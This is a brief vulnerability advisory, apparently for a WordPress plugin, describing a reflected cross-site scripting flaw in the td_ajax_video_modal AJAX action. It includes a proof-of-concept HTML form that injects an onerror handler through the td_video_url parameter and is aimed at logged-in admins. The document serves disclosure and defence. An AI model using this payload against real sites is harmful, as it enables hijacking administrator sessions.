The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin

Make a logged in admin open a page containing the HTML code below

<form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
    <input type="text" name="action" value="td_ajax_video_modal">
    <input type="text" name="td_video_url" value='" onerror=alert(`XSS`) mov'>
    <input type="submit" name="submit" value="submit">
</form>
